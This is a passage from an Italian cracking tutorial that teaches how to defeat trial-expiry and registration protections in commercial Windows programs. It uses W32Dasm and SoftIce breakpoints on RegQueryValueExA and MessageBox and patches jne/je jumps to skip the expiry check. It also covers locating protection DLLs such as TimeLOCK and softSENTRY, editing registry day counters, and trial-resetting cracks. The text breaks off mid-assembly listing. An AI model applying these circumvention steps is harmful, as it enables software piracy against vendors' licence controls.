Dopo averlo caricato richiediamo di aver visualizzate le funzioni importate.
Subito nelle prime righe risultano le funzioni legate alla gestione del registro.
Facciamo click su quelle legate all'interrogazione e settiamo dei breakpoint senza cercare inizialmente di capire se si tratta dei punti che ci interessano a noi.
Attiviamo il programma con F9 ed attendiamo per vedere se si ferma da qualche parte.
Appena il tutto si interromperà verrà visualizzata la finestra in cui compaiono anche i parametri passati alla funzione.
In questa finestra esiste un tasto **GET API RESULT** che esegue la chiamata e ritorna i valori di ritorno dalla funzione.
I seguenti dati sono quelli catturati dalla finestra (non riporto tutta la finestra a causa delle dimensioni).

```
API LONG Arg00 = RegQueryValueExA(Arg01,Arg02,Arg03,Arg04,Arg05,Arg06)
API Address=00405998, API Return Address=00446B69
  Arg01 = (HKEY) c49ad860->(Ž)
  Arg02 = (LPTSTR) 00447d80 -> "Reg"
  Arg03 = (LPDWORD) 00000000 -> 00ca000b
  Arg04 = (LPDWORD) 0069fc4c -> 00000000
  Arg05 = (LPBYTE) 0069fc64 -> "`|¼"
  Arg06 = (LPDWORD) 0069fc60 -> 00000004

RESULT for API RegQueryValueExA
  Arg00 = (LONG) 00000002
  Arg01 = (HKEY) c49ad860->(Ž)
  Arg02 = (LPTSTR) 00447d80 -> "Reg"
  Arg03 = (LPDWORD) 00000000 -> 00ca000b
  Arg04 = (LPDWORD) 0069fc4c -> 00000000
  Arg05 = (LPBYTE) 0069fc64 -> "`|¼"
  Arg06 = (LPDWORD) 0069fc60 -> 00000004
```

Come vedete uno degli argomenti è “Reg”.
Proseguiamo con l’esecuzione e controlliamo sempre che nelle vicinanze del codice in questione non venga indicata qualche chiamata a funzioni tipo MessageBox utilizzate per visualizzare il messaggio di Tempo Scaduto.

```
API LONG Arg00 = RegQueryValueExA(Arg01,Arg02,Arg03,Arg04,Arg05,Arg06)
API Address=00405998, API Return Address=00446B69
  Arg01 = (HKEY) c49ad860->( )
  Arg02 = (LPTSTR) 00447d64 -> "Start"
  Arg03 = (LPDWORD) 00000000 -> 00ca000b
  Arg04 = (LPDWORD) 0069fc3c -> 00000000
  Arg05 = (LPBYTE) 0069fc54 -> "¼üi"
  Arg06 = (LPDWORD) 0069fc50 -> 00000008

RESULT for API RegQueryValueExA
  Arg00 = (LONG) 00000000
  Arg01 = (HKEY) c49ad860->( )
  Arg02 = (LPTSTR) 00447d64 -> "Start"
  Arg03 = (LPDWORD) 00000000 -> 00ca000b
  Arg04 = (LPDWORD) 0069fc3c -> 00000003
  Arg05 = (LPBYTE) 0069fc54 -> ""
  Arg06 = (LPDWORD) 0069fc50 -> 00000008
```

Poche linee di programma dopo, a seguito di controlli sui valori restituiti da quest’ultima chiamata, viene richiamata la funzione MessageBox con il testo relativo all’avviso di tempo scaduto.

```
API int Arg00 = MessageBoxA(Arg01,Arg02,Arg03,Arg04)
API Address=004060B8, API Return Address=00447AC8
  Arg01 = (HWND) 00000d1c (Window"-------- --------")
  Arg02 = (LPCTSTR) 00447d98 -> "Your trial period for -------- ------- has
expired and the program will no longer functi"
  Arg03 = (LPCTSTR) 00447d84 -> "Expiration Notice"
  Arg04 = (UINT) 00000030
```

I vari --------- --------- sono il nome del programma che ho usato come esempio che ho cancellato.
Analizzando il codice prima della chiamata a MessageBox sarà facile trovare qualche jne o je che indirizzerà o farà evitare questo punto.
In questo caso possiamo seguire due vie.
La prima, la più complessa, ci porterà ad analizzare bene il codice per capire quali valori indicano l’avvenuta registrazione.

```
URSoft W32Dasm Ver 8.9 Program Disassembler/Debugger
Disassembler Project Debug Search Goto Execute Text Functions HexData Refs Help

:00446FE3 6A00                    push 00000000
:00446FE5 53                      push ebx
:00446FE6 56                      push esi
:00446FE7 8BD8                    mov ebx, eax
:00446FE9 33C0                    xor eax, eax
:00446FEB 55                      push ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00446F72(C)
|
:00446FEC 685F714400              push 0044715F
:00446FF1 64FF30                  push dword ptr fs:[eax]
:00446FF4 648920                  mov dword ptr fs:[eax], esp
:00446FF7 8D55F8                  lea edx, dword ptr [ebp-08]
:00446FFA 8B83E0010000            mov eax, dword ptr [ebx+000001E0]
:00447000 E87F80FDFF              call 0041F084
:00447005 8B45F8                  mov eax, dword ptr [ebp-08]
:00447008 8D55FC                  lea edx, dword ptr [ebp-04]
:0044700B E8B800FCFF              call 004070C8
:00447010 8B45FC                  mov eax, dword ptr [ebp-04]
:00447013 50                      push eax

Line:161370 Pg 1945 of 2056  Code Data @:00446FEC @Offset 000463ECh in File:dirprint.exe
```

In questo caso dovremo adottare tecniche di reverse engineering per riuscire a ricostruire il tutto in modo coretto.
Potremmo anche capire quale codice indica la registrazione ed andarlo ad inserire nel registro senza modificare il codice del programma.
L'altro metodo sarà quello più semplice di modificare il jne in je o viceversa in modo che il programma non si interrompa e ci permetta almeno di arrivare alla dialog d'inserimento del codice.
Se il programma non possiede limitazioni nella versione demo potremmo al limite non registrarlo.
In altre parole il programma si accorgerà di essere scaduto ma non si interromperà.
Il programma usato come esempio non possiede chiamate a GetDlgItemText ecc. per eseguire la lettura del codice di registrazione.
In ogni caso sbagliando ad inserirlo esegue una chiamata a MessageBox per eseguire la segnalazione di codice errato.
Eseguendo l'intercettazione e ritornando indietro nel codice dove è avvenuta la chiamata si giunge ad un punto di partenza dove viene eseguita la preparazione del messaggio d'errore.
Una scritta segnala che la chiamata a quel punto avviene all'indirizzo 00446F72.
Sicuramente il controllo del codice inserito avverrà da quelle parti per cui sarà il caso di andare a vedere all'indirizzo specificato.
Utilizzando SoftIce avete la possibilità di gestire il backtrace buffer per cui arrivati ad un certo punto potreste eseguire lo step by step a ritroso.
Mentre con WDASM dovete posizionasi su ogni MessageBox con SoftIce potete inserire un breakpoint unico relativo a tutti i MessageBox.

BPX MessageBox

In alcuni casi le tecniche legate alle routines di registrazione sono ancora più nascoste per cui bisogna sperare di potersi affidare ad altri metodi per individuarle.
Trattandosi di programmi Windows esiste tra le risorse la tabella delle stringhe.
WDASM ad esempio possiede un pulsante relativo ad una funzione che mostra le stringhe esistenti come risorse.
In questo caso esistono due possibilità.
La prima è quella di cercare le stringhe come ad esempio "Grazie per la registrazione", "Codice errato" ecc.
Guardate la seguente lista.

```
"t$A"
"TApplication"
"TextHeight"
"Thank You for registering!"
"This is a read-only property, "
"This program is licensed to:"
"This program is unregistered."
"TMMConnectorWindow"
```

Come potete vedere una stringa è relativa al ringraziamento per la registrazione.
Eseguendo il click su questo WDASM ci posiziona sul codice che la utilizza.

La lettura di tali siringhe avviene tramite la funzione API LoadString per cui è sempre possibile inserire breakpoint legate a questa funzione.

```
user32.LoadStringA
user32.LoadStringA
user32.MapVirtualKeyA
user32.MapWindowPoints
```

Dicevo prima che spesso le funzioni di protezione derivano da moduli commerciali esterni che vengono agganciati ai file eseguibili.
In questo caso sicuramente esistono funzioni legate alla gestione della protezione inserite in DLL esterne.
WDASM prevede un flag che blocca il programma tutte le volte che viene letta una DLL.
In ogni caso la prima cosa da fare è quella di analizzare le funzioni importate.
Generalmente a fianco al nome della funzione c’è quella della DLL de4ntro alla quale questa è situata.

```
oleaut32.VariantClear
oleaut32.VariantCopyInd
SHRLK21.CheckProtectionDLL
SHRLK21.DoRegistration
SHRLK21.GetStatus
SHRLK21.PassHandle
user32.ActivateKeyboardLayout
user32.AdjustWindowRectEx
```

Nel precedente esempio sono da notare le funzioni DoRegistration dentro alla DLL SHRLK21.
Chiaramente queste funzioni saranno oggetti di controllo.
In questo caso la cosa alta subito all’occhio ma non sempre è cosi semplice.
Alcune volte trovate nella directory \windows\system alcune DLL di piccole dimensioni che sono appunto collage alle routines di protezione.
Ad esempio :

```
C:\Windows\SYSTEM\VBOXB40.DLL
C:\Windows\SYSTEM\VBOXB403.DLL
C:\Windows\SYSTEM\VBOXB410.DLL
C:\Windows\SYSTEM\vboxp40.dll
C:\Windows\SYSTEM\vboxp403.dll
C:\Windows\SYSTEM\vboxp410.dll
C:\Windows\SYSTEM\VBOXT40.DLL
C:\Windows\SYSTEM\VBOXT403.DLL
C:\Windows\SYSTEM\VBOXT410.DLL
```

Precedentemente, parlando dei programmi che ci permettono di individuare alcune cose legati ai programmi target, avevamo detto che una cosa fondamentale è quella di individuare il linguaggio utilizzato.
Se ad esempio guardando con QuickView ci accorgiamo che il programma utilizza una DLL chiamata VB40032.DLL allora sappiamo che il programma è scritto in Visual Basic 4 per cui funzioni come GetDlgItemText o GetDlgItemInt non serviranno a nulla.
In Visual Basic potremmo cercare di intercettare funzioni come HMEMCPY.
Per poter utilizzare un breakpoint basato su questo messaggio dovremo abilitarlo e disabilitarlo più volte in particolare modo se utilizziamo SoftIce.
HMEMCPY probabilmente viene utilizzato in altre funzionalità del programma e non solo in corrispondenza della lettura del codice.
Questo significherebbe, a breakpoint attivato, che la finestra di SoftIce continuerebbe a comparire anche in punti da noi non richiesti.
Vi ricordo che SoftIce può essere attivato anche manualmente in qualsiasi momento premendo CTRL-D o i tasti settati.

In alcuni casi è possibile utilizzare gli identificatori di processo, gli handle delle Windows ecc. come selettori da utilizzare come filtri per i vari breakpoint.
Per spiegarmi meglio voglio ricordare che SoftIce mostra il codice e segue tutti i processi attivi per cui affidandosi per l'attivazione alla pressione del CTRL-D è possibile visualizzare la finestra del codice mentre questo è relativo a qualsiasi processo attivo.
Mettendo un breakpoint su un messaggio generico, WM_INITDIALOG ad esempio, interromperemmo l'esecuzione tutte le volte che questo tipo di messaggio capiterebbe e non solo relativo alla finestra o al processo da noi voluto.
Mediante i comandi di visualizzazione informazioni possiamo ricevere le informazioni da inserire come filtri.
Invece di immettere un comando di breakpoint generico :

bmsg WM_INITDIALOG

potremmo stabilire che il messaggio deve essere relativo alla finestra xxx.

Bmsg 0FC4 WM_INITDIALOG

In Windows 2000 esiste la possibilità già da sistema di ricevere certe informazioni relative ai processID.

Windows Task Manager
File Options View Help
Applications Processes Performance

Image Name	PID	CPU	CPU Time	Mem Usage
System Idle Process	0	85	0:38:00	16 K
System	8	00	0:00:14	24 K
smss.exe	112	00	0:00:00	80 K
csrss.exe	140	00	0:00:14	604 K
winlogon.exe	160	00	0:00:02	508 K
services.exe	192	00	0:00:02	888 K
lsass.exe	204	00	0:00:00	508 K
svchost.exe	352	00	0:00:00	684 K
spoolsv.exe	392	00	0:00:00	580 K
ntvdm.exe	408	00	0:00:00	544 K
remind.exe		00	0:00:00	
wowexec.exe		00	0:00:00	
svchost.exe	444	00	0:00:02	256 K
MSTask.exe	488	00	0:00:00	360 K
imnsvdem.exe	540	00	0:00:00	64 K
Explorer.exe	656	01	0:00:16	1.712 K
internat.exe	704	00	0:00:00	104 K
SYMMON.EXE	720	00	0:00:00	188 K
zm32nt.exe	744	00	0:00:00	184 K

End Process
Processes: 26 CPU Usage: 18% Mem Usage: 76764K / 156720K

Dicevo inizialmente che alcuni software professionali per la creazione di demo inseriscono le loro routines dentro a DLL esterne al programma.
Potrebbe anche essere che in prima istanza non vengono indicati gli usi di certe funzioni semplicemente perchè queste non sono dentro al programma caricato con il debugger.
Se le DLL vengono collegate al programma principale tramite una libreria linkata in fase di linking allora potrebbe verificarsi che il debugger analizzando le funzioni importate vedano anche quelle legate alle DLL del programma.
Se la DLL viene caricata dinamicamente con LoadLibrary o funzioni simili il programma potrebbe non sapere di avere DLL collegate fino al momento dell'attivazione dell'istruzione di lettura dinamica della DLL.
In questo caso bisogna intervenire eseguendo una passata dinamica ovvero una fase in cui si cerca con ogni mezzo di sapere quali dll usa il nostro programma.
Se il pacchetto software al momento dell'installazione mette nella directory del programma delle DLL è facile supporre che queste siano usate.
Le DLL potrebbero essere inserite dal software d'install dentro a \windows\system per cui potremmo vedere il loro caricamento solo in modo dinamico.
Esistono programmi, ne abbiamo nominato qualcuno nell'apposito capitolo legato ai softwares, che avvisano quando viene caricato un programma o una dll.
Individuate quali DLL vengono caricate bisogna andare a vedere quali funzioni includono per cercare di capire se esiste qualche nome sospetto (anche se è difficile).
Dicevo inizialmente che quasi tutti gli esempi presenti in Internet sono relativi a programmi le cui routines di inserimento dei codici sono facilmente individuabili grazie alla ricerca della fatidica GetDlgItemText.
Quando anni fà, 1986, scrissi il mio primo volume sulla programmazione a basso livello in C trattai le tecniche in cui si salvavano gli indirizzi di certi interrupts e si sostituivano con nostre funzioni.

Il discorso del metodo di lettura delle funzioni legate alla gestione del dimostrativo può avvenire tramite metodi letti dinamicamente tramite LoadLibrary.
Una delle protezioni migliori è chiamata SENTRY32.
Il seguente spezzone di codice testa le dll di Sentry32.

```
// the following block is for testing running an external dll file
// !!sample program!! testing softSENTRY dll
#include "stdafx.h"
#include "windows.h"

typedef DWORD (CALLBACK *DWLPSSD)();

#define UserDef_ReturnValue 12345                                /* user can
change here for selfdefined return value */
#ifdef _WIN32
char *userDef_DllNamePtr = "c:\\trash1\\ssDll32.dll";/* user can change here for
selfdefined DLL name */
#else
char *userDef_DllNamePtr = "c:\\trash1\\ssDll16.dll";/* user can change here for
selfdefined DLL name */
#endif
void TestDllGeneratedBYsoftSENTRY()
{
      CString mcMsg;
      DWORD retCode = 0l;
      char retString[64]; /* for testing, display retCode */
      HINSTANCE hDll = NULL;
      DWLPSSD lpSSDllProc = NULL;
      CWinApp* pApp = NULL;
      hDll = LoadLibrary(userDef_DllNamePtr);
      if (hDll) {
            lpSSDllProc = (DWLPSSD)GetProcAddress(hDll, "softSENTRY");
      } else {
            AfxMessageBox("LoadLibrary Fail!");
            return;
      }
      if (!lpSSDllProc) {
            AfxMessageBox("GetProcAddress Fail");
            FreeLibrary (hDll);
            return;
      }
      retCode = (*lpSSDllProc)();
      if (hDll)   FreeLibrary (hDll);
      _ltoa(retCode, retString, 10);
      if (retCode == UserDef_ReturnValue) {
```

Proprio in relazione al fatto che spesso i moduli di protezione vengono inserite dentro al codice di DLL esterne, leggete quello che nelle spiegazioni di Sentry viene detto :

“As an alternative to injecting protection into your executable file, you can create a DLL (Dynamic Link Library) with softSENTRY. You will need to add code to your program to call the DLL and evaluate the return value that it sends.”

```
            mcMsg = "OK for Trial mode! Return value = ";
            mcMsg += retString;
```

```
	} else if (retCode > UserDef_ReturnValue && retCode <= UserDef_ReturnValue
+10) {
		mcMsg = "OK for Password#";
		_ltoa(retCode-UserDef_ReturnValue, retString, 10);
		mcMsg += retString;
		mcMsg += "! Return value = ";
		_ltoa(retCode, retString, 10);
		mcMsg += retString;
	} else {
		mcMsg = "Fail! Return value = ";
		mcMsg += retString;
	}

	AfxMessageBox(mcMsg); /* display retCode */

	return;
}
// !!sample program!! testing softSENTRY dll
```

Sotto Windows esistono delle tecniche che vengono definite di subclassing in cui certi messaggi o certe funzioni vengono sostituite con nostre funzioni.
Sia nel caso degli interrupts che in questo caso prima di eseguire le sostituzioni venivano salvati gli indirizzi dei vecchi interrupts o funzioni in modo tale che dopo aver intercettato i nuovi ed aver controllato se erano relativi a casi a noi ideali avrebbero potuto essere chiamate i vecchi servizi.
L'algoritmo prendeva la forma di :

```
indirizzo_globale_vecchio_indirizzo;

nuova_funzione_xxx
	controlla_se_la_condizione_è...
	se_si_esegui_fino_a_fine
		....
		....
	fine
	chiama_vecchio_indirizzo
fine_nuova_funzione_xxx

salva_in_vecchio_indirizzo_xxx
inserisci_indirizzo_nuova_funzione_in_xxx


EVENTO CHE FA ESEGUIRE L'INDIRIZZO xxxx
```

Per nascondere le funzioni di lettura dei campi relativi ai codici sarebbe possibile intercettare ogni singolo messaggio che indica che è stato premuto un tasto.
In pratica invece di fare :

```
String		buffer_codice[20];

buffer_codice = LeggiCaratteriInCampoEdit();
```

si potrebbe :

```
String		buffer_codice[20];
Int		lunghezza = 0;

void funzione_intercetta_carattere()
begin
	Char c;
	c = CarattereePremuto();
	se c == INVIO
```

```
      begin
            buffer_codice[lunghezza] = 0;
      else
            buffer_codice[lunghezza] = c;
            ++lunghezza;
      end
end
```

SettaFunzioneIntercettaCaratteri(funzione_interceta_carattere);

In questo modo ogni volta che l’utente preme un tasto viene chiamata la funzione che lo inserisce dentro al buffer.

Controllando se il carattere è 0 si capisce se l’utente ha finito l’inserimento a seguito di un INVIO.
In questo caso l’intercettazione non deve avvenire a seguito di GetDlgItemText ecc.
Per prima cosa possiamo usare Spy++ cercando di capire quali messaggi vengono generati relativi al campo d’edit che ci interessa.
Spy++ possiede un cursore che preso con il mouse e posizionato sulla finestra che ci interessa fa in modo che i messaggi visualizzati siano filtrati e relativi a quella finestra.
Tenete sempre presente che Windows è un sistema multitasking per cui certe procedure potrebbero essere inserite come funzioni asincrone legate a certi eventi.
Ricordiamoci che esiste anche la possibilità di creare un certo numero di TIMER le cui procedure di gestione potrebbero essere adibite a certi scopi.
In questo modo potremmo riassumere la sequenza delle cose da capire.

INDIVIDUAZIONE LINGUAGGIO

LOCALIZZAZIONE DELLE FUNZIONI

MODALITA’ DI ESECUZIONE

Per la prima e seconda voce possiamo supporre che siano dentro al programma principale o dentro a qualche DLL.
WDASM, lo ricordo, possiede un flag che attiva un breakpoint quando il programma abbandona il modulo principale e continua l’esecuzione dentro a una DLL.
Inoltre WDASM ci avvisa dinamicamente in quale DLL siamo posizionati.
Potete osservare i marcatori DLL Load Brk (BEAKPOINT on DLL LOAD) o addirittura quando la DLL viene scaricata.
I breakpoints possono essere

attivati anche sulla creazione di un thread.
Un altro metodo per capire se potrebbe esserci l'implicazione di una DLL nelle funzioni di lettura dei codici potrebbe essere, in modo semplicistico, quello di vedere se durante la sosta sulla dialog di inserimento ci sono DLL lette relative a quel processo.
La seguente maschera mostra la finestra di apertura di un programma, che in questo caso indica che il software è scaduto, ma che allo stesso tempo, la tipologia del messaggio ovvero come il messaggio viene mostrato indica la "marca" del software di gestione demo.
Questo tipo di software viene decodificato da ProcDump il quale, oltre ad eseguire la decodifica, visualizza anche le dll legate ai moduli letti.
Quando viene richiesta l'attivazione di un programma il quale dopo pochi istanti mostra una maschera che avvisa dell'avvenuta espirazione del programma ed andando a veder quali moduli sono collegati risultano evidenti DLL allora inizia a "puzzare di bruciato".
Questo per dire che è chiaro che dentro a quella DLL deve esserci qualche cosa legato al controllo del tempo di scadenza.
L'immagine che segue è appunto presa da ProcDump.
Notate la DLL tl32inj.dll.
Che ci sarà mai di bello dentro a quella DLL ?
Per fare vedere che a volte le "prese per i fondelli" da parte dei creatori delle routine di gestione demo è evidente guardate un pò i contenuti di questa DLL.
La prima tabella sono i dati generali mentre la seconda sono le funzioni (2 per la precisione).

Generatl31inj - General informationsRational\tl31inj.dll
==

```
Last update      : 30/12/97
File size        : 459 264 byte(s)
Module type      : WINDOWS Dynamic links library (32 bits)
FileDescription  : TimeLOCK 3.1 Client
FileVersion      : 3, 1, 2, 4
CompanyName      : Preview Software, Inc.
LegalCopyright   : Copyright © 1997 Preview Software, Inc.
InternalName     : TimeLOCK 3.1 Client
ProductName      : TimeLOCK 3.1
ProductVersion   : 3, 1, 2, 4
Module in use    : 0 times
```

Ed ora le due funzioni :

Exporttl31inj - Exported functionsRational\tl31inj.dll
==

```
0 ?DoNotWasteTime_MrCracker@@YGHPBDPBEIPAEPAI@Z
1 ?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
```

Una funzione che si chiama : PleaseTraceIntoMe_MrCracker è proprio un nome una garanzia !!
Dopo aver letto un nome così ti verrebbe quasi da pensare che se provi a fare il trace ti scoppia il computer in faccia !
Solo capendo dove vengono lette le informazioni di quanto è stato attivo il software si possono creare routine che funzionerebbero come le ricariche telefoniche.
Ho trovato in giro un crack relativo a ZipMagic che ogni volta che lo lanci ti mette a 60 giorni il tempo a disposizione.
Molte volte si tratta di andare a scrivere un numero in qualche parte del registro.
ScanBin mostra anche in relazione ad un programma quali DLL vengono chiamate direttamente e quali indirettamente.

```
DLL used : c:\Windows\VBRUN300.DLL
==================================
Direct calls
--------------------------------------------------------------
GDI      = c:\Windows\SYSTEM\GDI.EXE
KERNEL   = c:\Windows\SYSTEM\KRNL386.EXE
KEYBOARD = c:\Windows\SYSTEM\KEYBOARD.DRV
USER     = c:\Windows\SYSTEM\USER.EXE
WIN87EM  = c:\Windows\SYSTEM\WIN87EM.DLL

Undirect calls
--------------------------------------------------------------
COMM     = c:\Windows\SYSTEM\COMM.DRV
DDEML    = c:\Windows\SYSTEM\DDEML.DLL
MOUSE    = c:\Windows\SYSTEM\LMOUSE.DRV
SYSTEM   = c:\Windows\SYSTEM\SYSTEM.DRV
```

La seconda voce era relativa all'identificazione del metodo usato per la lettura dei codici.
Ho detto prima che moltissimi scritti legati a "come sproteggere xxxx" sono tutti relativi a programmi che usano GetDlgItemText per la lettura dei serial number.
Bisogna ricordarsi che il non utilizzo di queste funzioni non dipende solo dealla furbizia del programmatore a non usarle, al fine di non fare identificare le funzioni di protezione tanto semplicemente, ma dipende anche dal linguaggio usato per la scrittura del programma.
GetDlgItemText è un API del C per cui altri linguaggi non dispongono di questo identificatore di funzione (magari hanno funzioni proprie che eseguono scopi uguali o simili).
Esiste VisualBasic, Delphi ecc.
In questi casi bisogna sapere quali sono le funzioni proprie del linguaggio che eseguono la lettura di dati da un campo di edit inserito dentro ad una dialog.
Ad esempio precedentemente ho detto che potrebbe essere usata funzione MessageBox relativa alla visualizzazione del messaggio "Codice errato" per identificare il punto dove viene controllato il codice inserito.
Se il programma è scritto in C la funzione è appunto MessageBox.
In caso di un programma Delphi la funzione si chiama :

ShowMessage(Const Msg: String);

Questa in Delphi crea una Dialog con il testo specificato come argomento con un pulsante per proseguire.
Finestre di dialog un po più complesse possono essere create in Delphi con :

function MessageDlg(...);

Inoltre DELPHI possiede delle funzioni idonee alla presentazone di una dialog destinata all'input di valori.
Questa funzione è :

```
function InputBox(...);
function InputQuery(...);
```

Ricordatevi che comunque possono essere alla fine utilizzate le API di Windows.
In pratica potreste accorgervi che un programma è scritto in VisualBasic e che quindi questo può utilizzare certe funzioni inserite dentro alla DLL di Run Time di VB.
Supponiamo che il programma in questione usi certe funzioni di Run Time di VB 3.0.
Se andiamo a vedere le funzioni importate dal modulo di VB ovvero VB400.dll o similia vedremmo :

```
Imported functions : c:\Windows\VBRUN300.DLL
============================================
GDI          1 SETBKCOLOR                  GDI          15 OFFSETWINDOWORG
GDI          2 SETBKMODE                   GDI          19 LINETO
GDI          3 SETMAPMODE                  GDI          20 MOVETO
GDI          4 SETROP2                     GDI          21 EXCLUDECLIPRECT
GDI          7 SETSTRETCHBLTMODE           GDI          22 INTERSECTCLIPRECT
GDI          9 SETTEXTCOLOR                GDI          23 ARC
GDI         11 SETWINDOWORG                GDI          24 ELLIPSE
GDI         13 SETVIEWPORTORG              GDI          26 PIE
GDI         14 SETVIEWPORTEXT              GDI          27 RECTANGLE
```

Come potete vedere l'immagine creata da ScanBin mostra che la DLL VBRUN300 di VisualBasic 3.0 importa da GDI le funzioni SetBKColor ecc.
Comunque il problema di individuare il metodo di lettura è relativo all'individuazione delle funzioni usate per la lettura dei codici oppure all'identificazione del metodo.
In questo caso bisognerà andare a vedere i messaggi gestiti visto che quasi sicuramente le letture avverranno da funzioni utilizzante come windows procedure per i campi di edit.
Chi fa programmazione in ambiente Windows conosce il termine della Windows Procedure.
In pratica quando un finestra viene creata gli viene abbinata una funzione a cui normalmente vengono indirizzati i messaggi relativi a questa.
Usando il vecchio e caro C nella Windows Procedure veniva inserito un CASE che serviva ad individuare il messaggio.
La funzione di gestione riceveva tre parametri tra cui l'handle della finestra relativa la messaggio e due parametri che venivano usati per vari scopi a seconda del tipo di messaggio.
WDASM permette di inserire breakpoint automatici in relazione alle chiamate a delle funzioni.
Un pulsante presente nella maschera che indicava l'avvenuta chiamata a tali funzioni permetteva di eseguirla e di visualizzare i dati di ritorno.
SoftIce quando si richiede la visualizzazione delle finestre mostra, oltre all'handle anche l'indirizzo della Window Procedure.
Per mostrare praticamente come avviene la creazione di una dialog e l'abbinamento di una Window Procedure riporto le seguenti linee in C.
In questa funzione viene creata un istanza relativa alla funzione che dovrà ricevere i messaggi della window.

```
int BLD_NOMEFORClicked104DlgFuncDef(HWND hWnd,char *szDlgName)
{
    DLGPROC lpProc;
    int ReturnValue;
    lpProc = (DLGPROC)MakeProcInstance((FARPROC)windows_procedure,hInst);
    ReturnValue = DialogBox(hInst,(LPSTR)(szDlgName?szDlgName:"FORMEDIT"),
```

```
            hWnd,lpProc);

    // Resto del codice
}
```

Quella che segue è la vera e propria window procedure dentro alla quale grazie ad un Case è possibile individuare la tipologia dei messaggi.

```
BOOL BLD_CALLBACK window_procedure(HWND hDlg,UINT message,WPARAM wParam,LPARAM lParam)
    {
    WORD        wId;

    switch(message)
        {
    case WM_INITDIALOG:
        return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
        break;

    case WM_COMMAND:
        wId=LOWORD(wParam);
        switch(wId)
            {
        default:
            return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
            break;
            }
        break;

    default:
        return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
        break;
        }
    return TRUE;//  Did process the message
    }
```

Come potete vedere la funzione riceve sempre tre parametri, quelli di cui abbiamo parlato prima.
WDASM quando individua una call ad una funzione in genere mostra simbolicamente i parametri.
Guardate i dati che seguono relativi ad una qualsiasi call.

```
API LPTSTR Arg00 = GetCommandLineA(Arg01)
API Address=0040EE5E, API Return Address=0040EE64
  Arg01 = (void)

RESULT for API GetCommandLineA
  Arg00 = (LPTSTR) 815fb28c -> " "
  Arg01 = (void)
```

Ritornando al discorso relativa alla funzione per la lettura dei numeri di serializzazione possiamo dire che i caratteri possono essere anche inseriti in modo asincrono intercettando ogni singolo messaggio di scrittura dei caratteri.
Accertatevi che non avvenga qualche sostituzione di qualche procedura legata a qualche window mediante le funzioni API SetWindowLong().

```
NewStatic = (FARPROC) MakeProcInstance((FARPROC) NewStaticProc, hInst);
OldStatic = (FARPROC) GetWindowLong(GetDlgItem(hDlg,148),GWL_WNDPROC);
SetWindowLong(GetDlgItem(hDlg,148), GWL_WNDPROC, (LONG) NewStatic);
```

Le precedenti linee creavano un istanza legata alla nuova funzione di gestione della window, che in questo caso è un campo d’edit (GetDlgItem(hDlg, 148)), e

salvano la vecchia in modo da poterla ripristinare o richiamare quando la si vuole.
Volendo creare una funzione di lettura particolare legata ad un campo d'edit la si potrebbe abbinare e quindi fargli eseguire la lettura tramite una metodologia come quella precedente.
Con SoftIce è possibile settare breakpoint generici con l'unico selettore basato sull'handle della finestra.
Il problema è che la window di SoftIce continuerebbe a comparire in continuazione rendendo impossibile il lavoro.
Spesso le funzioni di registrazione aprono dei files normali per leggere e scrivere informazioni.
Alcune utilities sono in grado di dare, tra le altre informazioni, anche il numero e il nome dei files aperti in un certo istante.
Ricordiamoci sempre che il sistema operativo gestisce un certo numero di tabelle con dentro le informazioni di tutto ciò che capita nel sistema.
Basta sapere dove andarle a leggere o al limite quale utility usare.
TaskInfo è una recente utility che riesce a fornire le informazioni anche dei file aperti.

TaskInfo v.1.5 for Windows 95/98
Copyright (C) 1998,1999 by Igor Arsenin. All rights reserved.
Mail: taskinfo@iarsn.com
WWW: http://www.iarsn.com/downloads

Prima di terminare questa prefazione relative alle scelte bisogna ancora approfondire alcuni concetti.
Inizialmente si parlava del registro e si diceva che se si riesce ad individuare dove sono memorizzate alcune informazioni si potrebbe risparmiare il lavoro per andare a vedere come si serializza il programma.
Se, ad esempio, ci fosse un voce di registro in cui viene memorizzato il numero di giorni di durata del programma lo si potrebbe mettere a 100.000 rendendo quindi inutile la serializzazione.
Il registro può essere considerato un evoluzione dei file .INI anche se di fatto l'introduzione di questo concetto non ha reso obsoleti certi file .ini come ad esempio il win.ini.

PROTOTIPI ASSEMBLER

Se uno volesse farsi un idea di come alcuni costrutti del C vengono tradotti i assembler dal compilatore potrebbe creare delle micro funzioni e farle compilare con la sintassi che avevo riportato in uno dei capitoli iniziali.
Ripeto la linea di comando :

```
cl /c /Fanome.asm nomefile.c
```

Per fare un esempio, volendo farsi l'idea di come il compilatore crea alcuni costrutti legati al IF è possibile crearsi un programma del tipo :

```
#include <string.h>

char  str1[20], str2[20];

void  dump_funct() {}

void  funzione_if(void)
```

```
{
	int a = 0;

	if(a == 1) {
		dump_funct();
	}

	if(a < 1) {
		dump_funct();
	} else {
		dump_funct();
	}

	if(strcmp(str1,str2))
		dump_funct();

	if(!strcmp(str1,str2))
		dump_funct();

	if(strcmp(str1,str2))
		dump_funct();
	else
		dump_funct();
}
```

Avrete capito che dump_funct() serve solo a fare una chiamata fittizia.
La compilazione deve avvenire anche con l'ottimizzatore staccato (/Od) perchè con un sorgente come il precedente vi darebbe l'impressione di aver bloccato il computer.
In pratica non sarebbe bloccato ma solo in pausa perchè non riuscirebbe più a smettere di ridere !
Ecco la traduzione del compilatore con tanto di numero di linea a cui si riferisce.

```
	TITLE funzioni.c
	.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS  ENDS
_TLS  SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP _DATA, CONST, _BSS
	ASSUME	CS: FLAT, DS: FLAT, SS: FLAT
endif
_DATA SEGMENT
COMM  _str1:BYTE:014H
COMM  _str2:BYTE:014H
_DATA ENDS
PUBLIC	_dump_funct
_TEXT SEGMENT
_dump_funct PROC NEAR
; File funzioni.c
; Line 5
	push  ebp
```

```
      mov   ebp, esp
      pop   ebp
      ret   0
_dump_funct ENDP
_TEXT ENDS
PUBLIC      _funzione_if
EXTRN _strcmp:NEAR
_TEXT SEGMENT
